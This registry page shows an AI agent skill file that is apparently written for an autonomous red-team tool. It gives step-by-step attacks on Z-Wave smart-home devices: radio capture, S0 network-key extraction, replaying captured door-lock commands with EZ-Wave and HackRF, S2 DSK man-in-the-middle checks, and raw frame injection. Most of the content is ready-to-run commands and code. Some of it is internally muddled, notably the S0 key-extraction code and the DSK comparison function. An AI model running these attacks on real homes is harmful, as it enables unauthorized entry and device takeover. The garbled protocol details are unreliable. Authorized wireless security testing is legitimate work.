CtrlK
BlogDocsLog inGet started
Tessl Logo

z-wave

Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands.

62

Quality

73%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md
SKILL.md
Quality
Evals
Security

Z-Wave S0/S2 Security Assessment

Z-Wave is the dominant proprietary RF protocol for smart-home devices (locks, thermostats, sensors). Security class S0 (2009) has a fundamental key-exchange flaw: the network key is transmitted in cleartext during inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device Specific Key) bootstrapping step that can be MITM'd if the controller UI does not enforce out-of-band DSK verification.

Prerequisites

  • Hardware:
    • RTL-SDR Blog v4 (passive capture, 24–1766 MHz) + GNU Radio.
    • HackRF One (TX/RX, active replay and injection, 1 MHz–6 GHz).
    • OR Sigma Designs UZB stick / Aeotec Z-Stick Gen5 (USB Z-Wave controller, for EZ-Wave / Z-Force active work).
  • Software: gr-zwave (GNU Radio Z-Wave OOK decoder), EZ-Wave, Z-Force / zniffer, Scapy with Z-Wave layer.
# Install gr-zwave (build from source on Kali):
git clone https://github.com/BastilleResearch/scapy-radio
# EZ-Wave:
git clone https://github.com/AFcruzBR/EZ-Wave
pip install pyserial pyzmq
# Z-Force (Silabs):
# Download Zniffer binary from Silabs PC_Host_SW_Bundle; run on Windows VM or Wine.

Z-Wave Frequency Reference

RegionPrimary frequencyFallback
EU / UK868.42 MHz869.85 MHz
US / CA908.42 MHz916.0 MHz
JP922–926 MHz
AU / NZ919.8 MHz921.4 MHz

Set your SDR to the correct region frequency.

Phase 1: Passive Capture with RTL-SDR + gr-zwave

# Start GRC flowgraph for Z-Wave OOK demodulation:
# Use the gr-zwave example flowgraph (zwave_rx.grc).
# Set sample rate = 2 MHz, center_freq = 908.42e6 (US) or 868.42e6 (EU).
gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc

# Alternatively, capture raw IQ and decode offline:
rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq
# Then pipe through gr-zwave offline decoder:
python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iq

Capture traffic during an inclusion event (when a new device is added to the controller) — S0 key transport happens in plaintext at this moment.

Phase 2: S0 Key Extraction During Inclusion

S0 inclusion sequence:

  1. Controller sends NETWORK_KEY_SET with the 16-byte network key XOR'd with the Z-Wave default key 0x00×16.
  2. Node acknowledges with NETWORK_KEY_VERIFY.

Since the default key is all-zeros, the XOR is trivially reversible:

DEFAULT_KEY = b'\x00' * 16  # Z-Wave S0 default key

def extract_s0_key(key_set_payload: bytes) -> bytes:
    """
    key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06).
    """
    return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY))
    # Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload.

# In practice, the "encrypted" key in S0 KEY_SET is sent under a temp key
# derived from the controller nonce + node nonce; capture both nonces.

Use Scapy Z-Wave layer to parse frames from pcap:

# EZ-Wave sniffer mode (requires Aeotec Z-Stick or UZB):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txt

Phase 3: Replay Attack on Unauthenticated Nodes (No-Security / S0 with extracted key)

Devices that joined with no security class (very common on older gear) accept any RF frame addressed to their NodeID. EZ-Wave replay:

# Record a legitimate command (e.g., door lock LOCK command):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin

# Replay the frame (unmodified) — triggers the lock:
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.bin

With HackRF + GNU Radio for raw OOK replay:

# 1. Capture raw IQ of target frame:
hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40

# 2. Replay at same frequency:
hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47

Phase 4: S2 DSK MITM Analysis

S2 inclusion uses ECDH (Curve25519). The DSK (device-specific key, a 16-digit PIN printed on the device label) is used for bootstrapping the ECDH exchange. Attack vectors:

  1. MITM if DSK not verified: if the controller software auto-accepts the DSK without prompting the user to verify, a spoofed node can substitute its own public key.

  2. Physical DSK exposure: the DSK is printed on a label or QR code on the device. If the attacker had physical access (supply chain, retail), they can record DSKs and later include the device under their own controller.

# Verify the ECDH public key in the S2 NODE_INFO_CACHED_GET exchange:
# Use Z-PC-Zniffer (Silabs) to capture the S2 INCLUSION_REQUESTED_REPORT.
# Extract the node's public key (32 bytes) from the Z-Wave Application
# Framework spec table "SECURITY_2_PUBLIC_KEY_REPORT".

# Cross-check with the DSK:
# First 2 bytes of the public key == first 2 bytes of the DSK (big-endian).
# If auto-granted, the controller accepted without verifying remaining 14 bytes.
def check_dsk_mismatch(public_key_hex: str, dsk_pin: str) -> bool:
    pk_bytes = bytes.fromhex(public_key_hex)
    dsk_bytes = bytes.fromhex(dsk_pin.replace("-", ""))
    return pk_bytes[:2] == dsk_bytes[:2] and pk_bytes[2:16] != dsk_bytes[2:16]

Phase 5: Z-Force Active Fuzzing

Z-Force (formerly Silabs PC Zniffer extended by security researchers) allows injecting arbitrary Z-Wave frames via the USB Z-Wave controller:

# Z-Force CLI — inject raw frame to NodeID 5, Command Class 0x25 (Binary Switch):
zforce inject --node 5 --cc 0x25 --cmd 0x01 --payload 0xFF  # Switch ON

# Enumerate all nodes in range (broadcast NodeID 0xFF):
zforce scan --freq 908420000

# Replay a captured BASIC_SET frame:
zforce replay --file /tmp/basic_set.zwave --node 5

Evidence

EVIDENCE="/workspace/evidence/z-wave/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/zwave_capture.iq "$EVIDENCE/"
cp /tmp/ezwave_sniff.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
kg_add_node(
    kind="finding",
    label=f"Z-Wave S0 network key extracted NodeID={node_id}",
    props={
        "key": f"z-wave::s0::{home_id}",
        "home_id": home_id,
        "node_id": node_id,
        "s0_network_key_hex": s0_key.hex(),
        "security_class": "S0",
        "frequency_mhz": 908.42,
        "source": "gr-zwave+ezwave",
    },
)

OPSEC Notes

  • Z-Wave HomeID (32-bit) is broadcast in every frame — trivially identifies the network. Capture any frame to determine HomeID.
  • Replay of door lock commands is a physical security event. Only perform with owner consent and a documented rollback plan (alternate entry method).
  • RTL-SDR is receive-only — zero RF emission from capture phase.
  • HackRF replay is detectable by a Z-Wave sniffer or IDS (Silabs Zniffer) if the operator has one deployed; most consumer smart-home installs do not.
  • S2 with ACCESS or AUTHENTICATED class and manual DSK verification is resistant to all MITM techniques described here; document as hardened.

References

  • EZ-Wave: https://github.com/AFcruzBR/EZ-Wave
  • gr-zwave: https://github.com/BastilleResearch/scapy-radio (Z-Wave module)
  • Crowley & Heeger "Z-Wave Reverse Engineering" (DEF CON 21).
  • Silabs Z-Wave PC Zniffer: https://www.silabs.com/developers/z-wave
  • Z-Wave Alliance security classes: SDS13784 (Security 2 spec).
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.